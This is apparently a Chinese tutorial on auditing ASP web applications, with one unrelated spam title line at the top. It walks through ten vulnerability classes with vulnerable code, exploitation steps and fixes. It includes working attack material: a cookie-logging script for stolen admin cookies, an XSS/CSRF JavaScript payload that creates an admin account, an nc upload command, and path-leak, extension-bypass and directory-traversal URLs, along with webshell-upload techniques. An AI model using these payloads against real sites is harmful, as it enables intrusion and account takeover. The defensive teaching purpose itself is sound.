自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Web源碼安全審計(jì)之ASP篇

安全 應(yīng)用安全
數(shù)據(jù)庫路徑泄露主要表現(xiàn)在ASP+Access搭建的WEB中,當(dāng)攻擊者提交%5c的時(shí)候,IIS會(huì)解析錯(cuò)誤,導(dǎo)致輸出了真實(shí)數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另一種表示方法。

0×01 ASP簡(jiǎn)介:

ASP是一種服務(wù)器端腳本編寫環(huán)境,可以用來創(chuàng)建和運(yùn)行動(dòng)態(tài)網(wǎng)頁或Web應(yīng)用程序。ASP網(wǎng)頁可以包含HTML標(biāo)記、普通文本、腳本命令以及COM組件等。利用ASP可以向網(wǎng)頁中添加交互式內(nèi)容(如在線表單),也可以創(chuàng)建使用HTML網(wǎng)頁作為用戶界面的web應(yīng)用程序。

0×02 ASP漏洞介紹:

一.數(shù)據(jù)庫路徑泄露 (DataBase Path Leak)

概述:數(shù)據(jù)庫路徑泄露主要表現(xiàn)在ASP+Access搭建的WEB中,當(dāng)攻擊者提交%5c的時(shí)候,IIS會(huì)解析錯(cuò)誤,導(dǎo)致輸出了真實(shí)數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另一種表示方法。

漏洞原理:我們?cè)谔峤粩?shù)據(jù)的時(shí)候,IE會(huì)自動(dòng)把%5c轉(zhuǎn)換成/,從而得到同一地址。在asp類型網(wǎng)站中,都會(huì)用到一個(gè)數(shù)據(jù)庫連接的文件,名字一般是conn.asp。

漏洞代碼:這里我用動(dòng)力文章系統(tǒng)做案例,代碼如下:

  1. <% 
  2. dim conn 
  3. dim connstr 
  4. dim db 
  5. db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      '數(shù)據(jù)庫文件的位置 
  6. Set conn = Server.CreateObject("ADODB.Connection"
  7. connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) 
  8. conn.Open connstr 
  9. %> 

漏洞利用:當(dāng)訪問http://www.aspmps.com/cn%5cconn.asp IIS就會(huì)報(bào)錯(cuò)將數(shù)據(jù)庫絕對(duì)路徑輸出到客戶端,如下圖所示

Web源碼安全審計(jì)之ASP篇

當(dāng)數(shù)據(jù)庫路徑被泄露,攻擊者就可以將數(shù)據(jù)庫下載到本地,找到表中的后臺(tái)管理員賬戶和密碼,這樣就可以輕松進(jìn)入網(wǎng)站的后臺(tái)管理,此漏洞只針對(duì)于ACCESS數(shù)據(jù)庫,SQL server數(shù)據(jù)庫不受影響。 動(dòng)力系統(tǒng)的暴庫問題已久,去年360公司為此發(fā)布一則公告,多家媒體都有轉(zhuǎn)載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。

漏洞修復(fù):修補(bǔ)此漏洞的方法有2種,第一種在conn.open connstr 代碼之前加入 On Error Resume Next ,第二種方法在IIS服務(wù)器配置選項(xiàng)中選擇“向客戶端發(fā)送下列文本錯(cuò)誤消息”。如下圖2

Web源碼安全審計(jì)之ASP篇

#p#

 

二.跨站腳本攻擊(Cross-Site Scripting)

概述:Cross-site scripting(XSS),是一種經(jīng)常出現(xiàn)在Web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。比如,包括HTML代碼和客戶端腳本的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站腳本縮寫為XSS。攻擊者一般會(huì)利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)或發(fā)起phishing攻擊,網(wǎng)頁掛馬,cookie竊取等。Xss跨站攻擊分為兩種,一種反射型攻擊,還有一種存儲(chǔ)型攻擊。反射型攻擊和源碼審計(jì)關(guān)系不大,在此略過,重點(diǎn)介紹下存儲(chǔ)型攻擊。

漏洞原理:存儲(chǔ)型攻擊就是將惡意代碼通過交互頁面植入數(shù)據(jù)庫中,當(dāng)管理員訪問到調(diào)用惡意代碼的頁面時(shí),攻擊變產(chǎn)生了。例如在某系統(tǒng)留言反饋欄目中留言內(nèi)容表單未經(jīng)過安全處理,客戶端可以任意提交惡意代碼,導(dǎo)致了XSS跨站漏洞。

漏洞代碼:

  1.  <% 
  2. Content = "" 
  3.     For i = 1 To Request.Form("Content").Count 
  4.         Content = Content & Request.Form("Content")(i) 
  5.     Next 
  6. ………… //省略部分代碼 
  7. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  8.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  9.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  10.     rs("Content")=Content 
  11.     rs.Update 
  12.  %> 

上述代碼中Request.Form方法獲取的content值沒有經(jīng)過安全處理,造成可以XSS存儲(chǔ)型攻擊。

漏洞利用:

Web源碼安全審計(jì)之ASP篇

攻擊者在留言內(nèi)容框中輸入上述代碼后,當(dāng)后臺(tái)管理員查看了此條留言,則跨站攻擊生效,這時(shí)候?qū)⒐芾韱T的COOKIES信息發(fā)送到 xxx域名下保存起來。cookies.asp文件功能是生成個(gè)文件保存管理員的COOKIES信息,代碼如下:

  1. <% 
  2. c=Request.ServerVariables("QUERY_STRING"
  3. testfile=Server.MapPath("cookies.txt"
  4. set fs=server.CreateObject("scripting.filesystemobject"
  5. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  6. thisfile.Writeline(""&c& ""
  7. thisfile.close 
  8. set fs = nothing 
  9. %> 

 

Web源碼安全審計(jì)之ASP篇

漏洞修復(fù):將“< ’ ” >”標(biāo)簽進(jìn)行HTML編碼。#p#

三.跨站請(qǐng)求偽造攻擊(Cross Site Request Forgery)

概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站請(qǐng)求偽造的意思,通常用來指 WEB 網(wǎng)站的這一類漏洞,即在某個(gè)惡意站點(diǎn)的頁面上,促使訪問者請(qǐng)求你的網(wǎng)站的某個(gè) URL ,從而達(dá)到改變服務(wù)器端數(shù)據(jù)的目的。

漏洞原理:結(jié)合跨站漏洞,利用JS腳本代碼,做管理員身份才能做的事,但這種動(dòng)作非管理員本身的請(qǐng)求。

漏洞代碼:此系統(tǒng)中有個(gè)安全過濾函數(shù)HTMLEncode,代碼如下:

  1. Public Function HTMLEncode(str) 
  2.     If Not IsNull(str) Then 
  3.         str = Replace(str, Chr(38), "&"
  4.         str = Replace(str, "<""<"
  5.         str = Replace(str, ">"">"
  6.         str = Replace(str, Chr(9), " "
  7.         str = Replace(str, Chr(32), " ")        
  8.         str = Replace(str, Chr(34), """) 
  9.         str = Replace(str, Chr(39), "'"
  10.         str = Replace(str, Chr(13) & Chr(10), " 
  11. ") 
  12.         str = Replace(str, Chr(10), " 
  13. ") 
  14.         str = Replace(str, Chr(13), " 
  15. ") 
  16.         HTMLEncode = str 
  17.     End If 
  18. End Function 
  19. //以下是漏洞關(guān)鍵點(diǎn) 
  20. Content = "" 
  21.     For i = 1 To Request.Form("Content").Count 
  22.         Content = Content & Request.Form("Content")(i) 
  23.     Next 
  24. ………… //省略部分代碼 
  25. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  26.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  27.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  28.     rs("Content")=Content 
  29.     rs.Update 

上述代碼中Content變量經(jīng)過Request.Form獲取后并沒有像Guest_FAX變量這樣經(jīng)過HTMLEncode過濾。

漏洞利用:利用方法如圖所示

Web源碼安全審計(jì)之ASP篇

Xss.js腳本作用是執(zhí)行添加一個(gè)新的管理員topsec。代碼如下:

  1. var request = false
  2. if(window.XMLHttpRequest) { 
  3. request = new XMLHttpRequest(); 
  4. if(request.overrideMimeType) { 
  5. request.overrideMimeType('text/xml'); 
  6. else if(window.ActiveXObject) { 
  7. var versions = ['Microsoft.XMLHTTP''MSXML.XMLHTTP''Microsoft.XMLHTTP''Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0''Msxml2.XMLHTTP.4.0''MSXML2.XMLHTTP.3.0''MSXML2.XMLHTTP']; 
  8. for(var i=0; i<versions.length; i++) { 
  9. try { 
  10. request = new ActiveXObject(versions[i]); 
  11. } catch(e) {} 
  12. xmlhttp=request; 
  13.   
  14. add_admin(); 
  15. function add_admin(){ 
  16. var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"
  17. var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   
  18. xmlhttp.open("POST", url, true); 
  19. xmlhttp.setRequestHeader("Content-type""application/x-www-form-urlencoded"); 
  20. xmlhttp.setRequestHeader("Content-length", params.length); 
  21. xmlhttp.setRequestHeader("Connection""close"); 
  22. xmlhttp.send(params); 

植入如圖所示的一段代碼后,當(dāng)管理員進(jìn)入后臺(tái)去查看此留言的時(shí)候就會(huì)觸發(fā)該漏洞,系統(tǒng)會(huì)自動(dòng)給我們加上賬戶為topsec,密碼為123456的管理員。

漏洞修復(fù):加入token認(rèn)證,修復(fù)前臺(tái)跨站漏洞。#p#

四.任意文件下載(Arbitrary File Download)

概述:如果系統(tǒng)存在stream流模式下載模塊,而對(duì)應(yīng)下載文件的地址沒有做過安全過濾處理,則會(huì)發(fā)生任何文件都可被下載的安全隱患,在windows平臺(tái)下此問題更加嚴(yán)重。

漏洞原理:Windows系統(tǒng)支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下載模塊未加驗(yàn)證,則可以下載任意文件。

漏洞代碼:下面以沸騰展望系統(tǒng)經(jīng)典下載漏洞源碼做介紹。關(guān)鍵源碼如下:

  1. <% 
  2. Dim Stream 
  3. Dim Contents 
  4. Dim FileName 
  5. Dim TrueFileName 
  6. Dim FileExt 
  7. Dim SavePath 
  8.   
  9. Const adTypeBinary = 1 
  10. FileName = Request.QueryString("FileName"
  11. If FileName = "" Then 
  12.     Response.Write "無效文件名!" 
  13.     Response.End 
  14. End if 
  15.   
  16. FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
  17. Select Case UCase(FileExt) 
  18.     Case "ASP""ASA""ASPX""ASAX""MDB" 
  19.         Response.Write "非法操作!" 
  20.         Response.End 
  21. End Select 
  22. Response.Clear 
  23. if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then 
  24.     Response.ContentType = "image/*" '對(duì)圖像文件不出現(xiàn)下載對(duì)話框 
  25. else 
  26.     Response.ContentType = "application/ms-download" 
  27. end if 
  28. Response.AddHeader "content-disposition""attachment; filename=" & GetFileName(Request.QueryString("FileName")) 
  29. Set Stream = server.CreateObject("ADODB.Stream"
  30. Stream.Type = adTypeBinary 
  31. Stream.Open 
  32.   
  33. SavePath = FileUploadPath        '存放上傳文件的目錄 
  34. TrueFileName = SavePath & FileName 
  35.   
  36. Stream.LoadFromFile Server.MapPath(TrueFileName) 
  37. While Not Stream.EOS 
  38.     Response.BinaryWrite Stream.Read(1024 * 64) 
  39. Wend 
  40. Stream.Close 
  41. Set Stream = Nothing 
  42. Response.Flush 
  43. Response.End 
  44. %> 

上述代碼粗體部分是漏洞形成的關(guān)鍵代碼,首先程序通過 Request.QueryString(“FileName”) 方法指定任意文件名,雖然程序在下面判斷了文件后綴名,可是并沒有對(duì)后綴名進(jìn)行安全處理,導(dǎo)致客戶端可以在后綴名之后加上空格的URL編碼從而繞過程序的驗(yàn)證,文件被下載。

漏洞利用:利用方法如下圖

Web源碼安全審計(jì)之ASP篇

如圖上所示當(dāng)攻擊者在瀏覽器的地址欄中輸入“down.asp?filename=./cn/index.asp%20”, %20就是經(jīng)過URL編碼后的空格,%2E就是經(jīng)過URL編碼后的“.”,提交后迅雷就會(huì)提示下載。

漏洞修復(fù):修補(bǔ)的方法也很簡(jiǎn)單,下載文件前最好帶入數(shù)據(jù)庫查詢,存在則下載。還有種方法,用正則表達(dá)式去限制。#p#

五.無組件上傳(File Upload)

概述:上傳漏洞在ASP程序漏洞中表現(xiàn)的格外搶眼,各種利用手法層出不窮,以下就分別介紹最常見的三種上傳漏洞,分別是“截?cái)嗌蟼髀┒?rdquo; , “變量繼承上傳漏洞” , “驗(yàn)證不嚴(yán)謹(jǐn)上傳漏洞” 。

漏洞原理:有十六進(jìn)制截?cái)啵兞窟壿嬂^承,對(duì)后綴名驗(yàn)證不嚴(yán)謹(jǐn),還有的壓根不驗(yàn)證后綴名的上傳。

漏洞代碼:1.首選介紹截?cái)嗌蟼?,?dòng)網(wǎng)論壇作為曾經(jīng)風(fēng)靡一時(shí)的ASP論壇,也被爆出了各種漏洞,其中以上傳漏洞最具代表性,下面就以知名程序動(dòng)網(wǎng)來做分析。出現(xiàn)漏洞的文件位于Upfile.asp,核心代碼如下:

  1. <% 
  2. dim upload,file,formName,formPath,iCount,filename,fileExt 
  3. set upload=new upload_5xSoft 
  4. formPath=upload.form("filepath")   '//漏洞關(guān)鍵點(diǎn) 
  5. if right(formPath,1)<>"/" then formPath=formPath&"/" 
  6. for each formName in upload.objFile 
  7. set file=upload.file(formName) 
  8.   
  9. fileExt=lcase(right(file.filename,4))  '//從文件名中截取后4位,并轉(zhuǎn)換為小寫字符。 
  10. if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then 
  11. response.write "文件格式不正確 [ 重新上傳 ]" 
  12. response.end 
  13. end if 
  14. randomize 
  15. ranNum=int(90000*rnd)+10000 
  16. filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt  '//漏洞關(guān)鍵點(diǎn)filename由提交的文件路徑+年月日的隨機(jī)文件名+轉(zhuǎn)換后的擴(kuò)展名組成 
  17. if file.FileSize>0 then 
  18. file.SaveAs Server.mappath(FileName) 
  19. response.write "上傳成功!" 
  20. end if 
  21. set file=nothing 
  22. %> 

上述代碼雖然對(duì)上傳的文件類型做了判斷,但是在最后保存的時(shí)候加上了formPath這個(gè)值,而這個(gè)值從客戶端提交過來的,攻擊者就可以偽造個(gè)數(shù)據(jù)包??蛻舳颂峤淮a如下:

攻擊者將正常數(shù)據(jù)包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16進(jìn)制模式修改空格變成00。因?yàn)?0是終止符,上傳的時(shí)候程序檢測(cè)到00后就認(rèn)為上傳已經(jīng)結(jié)束。如下圖所示

Web源碼安全審計(jì)之ASP篇

修改保存后用NC提交,在CMD下輸入 nc www.aspmps.com 80<1.txt 即可上傳成功。如下圖所示

Web源碼安全審計(jì)之ASP篇

修復(fù)此漏洞的辦法其實(shí)也很簡(jiǎn)單,只需檢查文件上傳名種是否存在chr(0),若存在用Replace函數(shù)替換即可。

2. 變量繼承上傳漏洞:當(dāng)上傳多個(gè)文件的時(shí)候某些上傳程序變量邏輯混亂造成了變量繼承,在下面就用大名鼎鼎的自由動(dòng)力文章系統(tǒng)來做分析。攻擊者可制作個(gè)HTML表單同時(shí)上傳2個(gè)文件,第一個(gè)FILE控件中選擇正常的rar文件,第二個(gè)FILE控件中選擇一個(gè)Cer文件,在這個(gè)cer文件中寫入ASP一句話木馬。再修改Form中的Action值即可提交成功。如下圖

Web源碼安全審計(jì)之ASP篇

Upfile_Soft.asp漏洞核心代碼如下:

  1. <% 
  2. const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
  3. dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
  4. dim EnableUpload 
  5. dim arrUpFileType 
  6. dim ranNum 
  7. dim msg,FoundErr 
  8. msg="" 
  9. FoundErr=false 
  10. EnableUpload=false 
  11. for each formName in upload.file '列出所有上傳了的文件 
  12.   
  13.         set ofile=upload.file(formName)  '生成一個(gè)文件對(duì)象 
  14.         oFileSize=ofile.filesize 
  15.         if oFileSize<100 then="" msg="請(qǐng)先選擇你要上傳的文件!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
  16.              msg="文件大小超過了限制,最大只能上傳" & CStr(MaxFileSize) & "K的文件!" 
  17.             FoundErr=true 
  18.         end if 
  19.         fileExt=lcase(ofile.FileExt) 
  20.         arrUpFileType=split(UpFileType,"|"
  21.         for i=0 to ubound(arrUpFileType) 
  22.             if fileEXT=trim(arrUpFileType(i)) then 
  23.                 EnableUpload=true    ' 第一關(guān)上傳文件符合rar后綴名,EnableUpload = true 
  24.                 exit for 
  25.             end if 
  26.         next    
  27.   
  28.         if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
  29.             EnableUpload=false        '第二關(guān)檢驗(yàn)是否屬于三種禁傳類型,因?yàn)椴粚儆冢兞縀nableUpload仍為true。 
  30.         end if 
  31.   
  32.         if EnableUpload=false then        ' 第三關(guān) 如果EnableUpload=false,那么FoundErr=true,而前面?zhèn)鬟f來的EnableUpload=true,那FoundErr仍為進(jìn)入第一個(gè)FOR循環(huán)之前的false。 
  33.             msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType 
  34.             FoundErr=true 
  35.         end if 
  36. if FoundErr<>true then            ' 第四關(guān) 如果FoundErr<>true就可以通過,看一下從第三關(guān)傳遞過來的FoundErr的值,是 false,可以上傳。 
  37.             FileName=SavePath & ofile.FileName 
  38.             If IsObjInstalled("Scripting.FileSystemObject"Then 
  39.                 dim fso 
  40.                 set fso=CreateObject("Scripting.FileSystemObject"
  41.                 if fso.FileExists(Server.mappath(FileName)) then 
  42.                     randomize 
  43.                     ranNum=int(900*rnd)+100 
  44.                         filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
  45.                 end if 
  46.                 set fso=nothing 
  47.             end if 
  48.             ofile.SaveToFile Server.mappath(FileName) 
  49. %> 

上述代碼加了四個(gè)關(guān)鍵關(guān)卡注釋,自cer進(jìn)行上傳驗(yàn)證開始,一直未出現(xiàn)FoundErr,F(xiàn)oundErr的值是什么?它還是rar上傳后的值false,而第四關(guān)的驗(yàn)證就是只要 FoundErr不是true就可以上傳,所以,這個(gè)cer文件也就通過了層層關(guān)卡,進(jìn)入了服務(wù)器。驚奇的是在最新的研究發(fā)現(xiàn)即使上面的漏洞被修復(fù)了,加上服務(wù)器操作系統(tǒng)式windows2003的話,攻擊者可以直接上傳1.asp;.mpg后綴名的一句話木馬文件。如下圖所示

Web源碼安全審計(jì)之ASP篇

3. 驗(yàn)證不嚴(yán)謹(jǐn)上傳漏洞:這種后綴名驗(yàn)證不嚴(yán)謹(jǐn)漏洞存在很多情況,動(dòng)感上傳漏洞具有代表性。下面就以動(dòng)感購物系統(tǒng)的上傳模塊做分析。這種上傳漏洞的利用需要攻擊者通過某些手段進(jìn)入后臺(tái)后配置上傳文件允許的后綴名“cer|ccerer”。如下圖所示

Web源碼安全審計(jì)之ASP篇

然后通過后臺(tái)圖片上傳功能,直接上傳后綴名為ccerer的一句話木馬文件即可。產(chǎn)生這個(gè)漏洞的核心代碼如下:

  1. <% 
  2. Private Function FixName(Byval UpFileExt) 
  3.         If IsEmpty(UpFileExt) Then Exit Function 
  4.         FixName = Lcase(UpFileExt) 
  5.         FixName = Replace(FixName,Chr(0),""
  6.         FixName = Replace(FixName,".",""
  7.         FixName = Replace(FixName,"'",""
  8.         FixName = Replace(FixName,"asp",""
  9.         FixName = Replace(FixName,"asa",""
  10.         FixName = Replace(FixName,"aspx",""
  11.         FixName = Replace(FixName,"cer","")     '第一關(guān)檢查,ccerer變成了cer 成功繞過 
  12.         FixName = Replace(FixName,"cdx",""
  13.         FixName = Replace(FixName,"htr",""
  14.         FixName = Replace(FixName,"shtml",""
  15. End Function 
  16.   
  17. Private Function CheckFileExt(FileExt) 
  18.         Dim Forumupload,i 
  19.         CheckFileExt=False 
  20.         If FileExt="" or IsEmpty(FileExt) Then 
  21.             CheckFileExt = False 
  22.             Exit Function 
  23.         End If 
  24.         If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    ' 第二關(guān) cer并不在檢測(cè)范圍內(nèi),成功繞過 
  25.             CheckFileExt = False 
  26.             Exit Function 
  27.         End If 
  28.         Forumupload = Split(InceptFile,","
  29.         For i = 0 To ubound(Forumupload) 
  30.             If FileExt = Trim(Forumupload(i)) Then        ' 第三關(guān) cer后綴名在數(shù)據(jù)庫變量中 成功匹配 
  31.                 CheckFileExt = True 
  32.                 Exit Function 
  33.             Else 
  34.                 CheckFileExt = False 
  35.             End If 
  36.         Next 
  37. End Function 
  38. %> 

攻擊者提交的后綴名是ccerer,經(jīng)過FixName = Replace(FixName,”cer”,”") 后 ccerer中間的cer已經(jīng)被過濾掉了,但又變成了cer后綴,這樣程序就過了第一關(guān)的檢測(cè)。 如下圖所示

Web源碼安全審計(jì)之ASP篇

接下來程序繼續(xù)檢查是后綴名和指定類型名是否一致,一致的話則是非法文件,可惜程序并沒有檢查cer文件,這樣cer文件就過了第二關(guān)。接下來程序檢測(cè)文件的后綴名是否在后臺(tái)配置文件中,若匹配成功則上傳。如下圖所示

Web源碼安全審計(jì)之ASP篇

這樣攻擊者的cer文件就成功的上傳到服務(wù)器上,由于IIS擴(kuò)展映射中存在將cer等同于asp 文件處理,所以造成了上傳漏洞。如下圖所示

Web源碼安全審計(jì)之ASP篇

當(dāng)然還有一些其他的漏洞類型,如 “可以上傳任意文件”,“突破MIME文件頭驗(yàn)證上傳”,“Javascript本地驗(yàn)證上傳”等等,總的來說以上這三種上傳漏洞具有代表性。#p#

六.Cookies欺騙(Cookies Spoofing)

概述:在只對(duì)用戶做Cookies驗(yàn)證的系統(tǒng)中,通過修改Cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。Cookies欺騙在入侵中經(jīng)常用到,通過修改Cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄,從而達(dá)到攻擊的目的。

漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一種能夠讓網(wǎng)站服務(wù)器把少量數(shù)據(jù)儲(chǔ)存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種技術(shù)。Cookies是當(dāng)你瀏覽某網(wǎng)站時(shí),由Web服務(wù)器置于你硬盤上的一個(gè)非常小的文本文件,它可以記錄你的用戶ID、密碼、瀏覽過的網(wǎng)頁、停留的時(shí)間等信息。

漏洞代碼:接下來還是以自由動(dòng)力文章系統(tǒng)做案例,訪問后臺(tái)文件UploadSoft.asp必須通過授權(quán)驗(yàn)證,此程序通過Cookies驗(yàn)證造成了安全隱患。沒設(shè)置Cookies之前如圖所示

Web源碼安全審計(jì)之ASP篇

關(guān)鍵代碼如下:

  1. <% 
  2. if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then 
  3.         response.Write("請(qǐng)登錄后再使用本功能!"
  4.     else 
  5.         select case upload_type 
  6.             case 0 
  7.                 call upload_0()  '使用化境無組件上傳類 
  8.             case else 
  9.                 response.write "本系統(tǒng)未開放插件功能" 
  10.                 response.end 
  11.         end select 
  12. end if 
  13. %> 

代碼中IF語句判斷有問題,如果Session和Cookies值都為空則不能繼續(xù)執(zhí)行,否則可以調(diào)用上傳函數(shù)upload_0()。 那攻擊者只需要做到滿足Cookies值不為空就可以調(diào)用上傳函數(shù)了,這個(gè)上傳函數(shù)在上一節(jié)已經(jīng)提到過存在變量繼承上傳漏洞,這兩個(gè)漏洞一結(jié)合危害就很大了。

漏洞利用:用火狐插件修改成asp163=UserName=asp設(shè)置Cookies后如下圖所示

Web源碼安全審計(jì)之ASP篇

這樣就繞過了Cookies的驗(yàn)證,造成可以上傳文件,為后來變量繼承漏洞的成功實(shí)現(xiàn)創(chuàng)造了條件。

漏洞修復(fù):可以加密Cookies,后臺(tái)關(guān)鍵文件最好用Session去驗(yàn)證。#p#

七.本地文件包含(Local File Inclusion)

概述:ASP Execute方法的作用是執(zhí)行一個(gè)來自于其他ASP文件內(nèi)部的ASP程序。

漏洞原理:當(dāng)其他ASP文件內(nèi)的程序被請(qǐng)求執(zhí)行完畢之后,控制器將返回最初發(fā)出請(qǐng)求的原始ASP文件。與PHP包含漏洞不同的是Execute方法只能包含本地文件。

漏洞代碼:

<%Server.Execute(Request.QueryString("file"))%>

equest方法獲取的參數(shù)file沒經(jīng)過安全處理,被Execute方法執(zhí)行了。

漏洞利用:若某個(gè)應(yīng)用程序不存在上傳漏洞,那么攻擊者可以上傳個(gè)正常圖片格式的文件,文件中包換ASP腳本代碼,這時(shí)候就可以用本地包含漏洞去執(zhí)行圖片中的ASP代碼。如下圖所示

Web源碼安全審計(jì)之ASP篇

如果jpg里寫入的ASP小馬,那就可以輕松得到一個(gè)WebShell。

漏洞修復(fù):盡量系統(tǒng)指定執(zhí)行文件,不要讓客戶端提交參數(shù),實(shí)在需要?jiǎng)討B(tài)改變參數(shù),可以輔助一個(gè)匹配文件,若客戶端提交的參數(shù)在文件中出現(xiàn),則可以執(zhí)行,否則不允許繼續(xù)執(zhí)行。#p#

八.路徑操控(Path Manipulation)

概述:用戶輸入控制 file system 操作所用的路徑,借此攻擊者可以訪問或修改其他受保護(hù)的系統(tǒng)資源。

漏洞原理:當(dāng)滿足以下兩個(gè)條件時(shí),就會(huì)產(chǎn)生path manipulation 錯(cuò)誤:

1. 攻擊者能夠指定某一 file system操作中所使用的路徑。

2. 攻擊者可以通過指定特定資源來獲取某種權(quán)限,而這種權(quán)限在一般情況下是不可能獲得的。

漏洞代碼:下面以經(jīng)典的Ewebeditor編輯器做分析,在編輯器文件管理處存在一個(gè)路徑操控漏洞,攻擊者可以指定路徑的讀取范圍,造成安全隱患。

  1. <% 
  2. Function InitParam() 
  3.     sStyleID = Trim(Request("id")) 
  4.     sUploadDir = "" 
  5.     If IsNumeric(sStyleID) = True Then 
  6.         sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID 
  7.         oRs.Open sSql, oConn, 0, 1 
  8.         If Not oRs.Eof Then 
  9.             sUploadDir = oRs(0) 
  10.         End If 
  11.         oRs.Close 
  12.     End If 
  13.     If sUploadDir = "" Then 
  14.         sStyleID = "" 
  15.     Else 
  16.         sUploadDir = Replace(sUploadDir, "\", "/") 
  17.         If Right(sUploadDir, 1) <> "/" Then 
  18.             sUploadDir = sUploadDir & "/" 
  19.         End If 
  20.     End If 
  21.     sCurrDir = sUploadDir 
  22.   
  23.     ' 樣式下的目錄 
  24.     sDir = Trim(Request("dir")) 
  25.     If sDir <> "" Then 
  26.         If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
  27.             sCurrDir = sUploadDir & sDir & "/" 
  28.         Else 
  29.             sDir = "" 
  30.         End If 
  31.     End If 
  32. End Function 
  33. %> 

若攻擊者想利用此漏洞需要滿足2個(gè)條件,第一sStyleID這個(gè)值不能為空,并且是數(shù)據(jù)庫中存在的ID號(hào)。第二 sDir 這個(gè)變量沒有經(jīng)過任何安全處理,帶入到 sCurrDir 變量中,只是最后不需要輸入“/”。

漏洞利用:admin_uploadfile.asp?id=22&dir=../.. 執(zhí)行后將跳轉(zhuǎn)到2個(gè)上級(jí)目錄下,攻擊者可以刪除任意文件和文件夾。如下圖所示

Web源碼安全審計(jì)之ASP篇

漏洞修復(fù):針對(duì)此漏洞建議用Replace函數(shù)過濾掉“..” 。#p#

九.表單提交欺騙(Spoofed Form Submit)

概述:表單提交是當(dāng)前Web應(yīng)用中的重要內(nèi)容,用戶可以通過這種方式與服務(wù)器進(jìn)行數(shù)據(jù)傳遞。在通常情況下,會(huì)在提交表單之前在服務(wù)器上進(jìn)行表單數(shù)據(jù)的驗(yàn)證,這樣可以節(jié)省服務(wù)器資源,但同時(shí)也為服務(wù)器帶來了安全漏洞。

漏洞原理:顧名思義Web程序只是在客戶端用JavaScript驗(yàn)證了合法性,并沒有在服務(wù)端驗(yàn)證數(shù)據(jù)的合法性。

漏洞代碼:下面以上傳頁面做為案例分析

漏洞利用:攻擊者只需要禁用瀏覽器中的活動(dòng)腳本和Javascript腳本就可以發(fā)動(dòng)一次攻擊。禁用如下圖所示:

Web源碼安全審計(jì)之ASP篇

第二種方法制作個(gè)HTML頁面,只需將JS腳本刪除,再將Action值改成需要攻擊的目標(biāo)網(wǎng)址即可。

漏洞修復(fù):客戶端和服務(wù)端都要做驗(yàn)證,客戶端做驗(yàn)證能提高用戶體驗(yàn),服務(wù)端再驗(yàn)證能保證數(shù)據(jù)安全。

十.Http請(qǐng)求偽造(Spoofed HTTP Request)

概述:一個(gè)比欺騙表單更高級(jí)和復(fù)雜的攻擊方式是HTTP請(qǐng)求欺騙。這給了攻擊者完全的控制權(quán)與靈活性,它進(jìn)一步證明了不能盲目信任用戶提交的任何數(shù)據(jù)??吹酱蠖鄶?shù)瀏覽器會(huì)包含一個(gè)來源的URL值,你可能會(huì)試圖使用Request.ServerVariables(“HTTP_REFERER”)變量去防止欺騙。確實(shí),這可以用于對(duì)付利用標(biāo)準(zhǔn)瀏覽器發(fā)起的攻擊,但攻擊者是不會(huì)被這個(gè)小麻煩給擋住的。通過編輯HTTP請(qǐng)求的原始信息,攻擊者可以完全控制HTTP頭部的值,GET和POST的數(shù)據(jù),以及所有在HTTP請(qǐng)求的內(nèi)容。

漏洞原理:通過Request.ServerVariables 去驗(yàn)證數(shù)據(jù)來源的合法性,依舊不可靠,畢竟一切從Request獲取的值都可以被偽造出來的。

漏洞代碼:下面以ASP中經(jīng)典驗(yàn)證來源的代碼做分析

  1.  <% 
  2. Dim From_url , Serv_url 
  3.     From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) 
  4.     Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) 
  5.     If Mid(From_url,8,Len(Serv_url)) <> Serv_url then 
  6.         Response.Write "非法鏈接!" 
  7.         Response.End 
  8.     End if 
  9. %> 

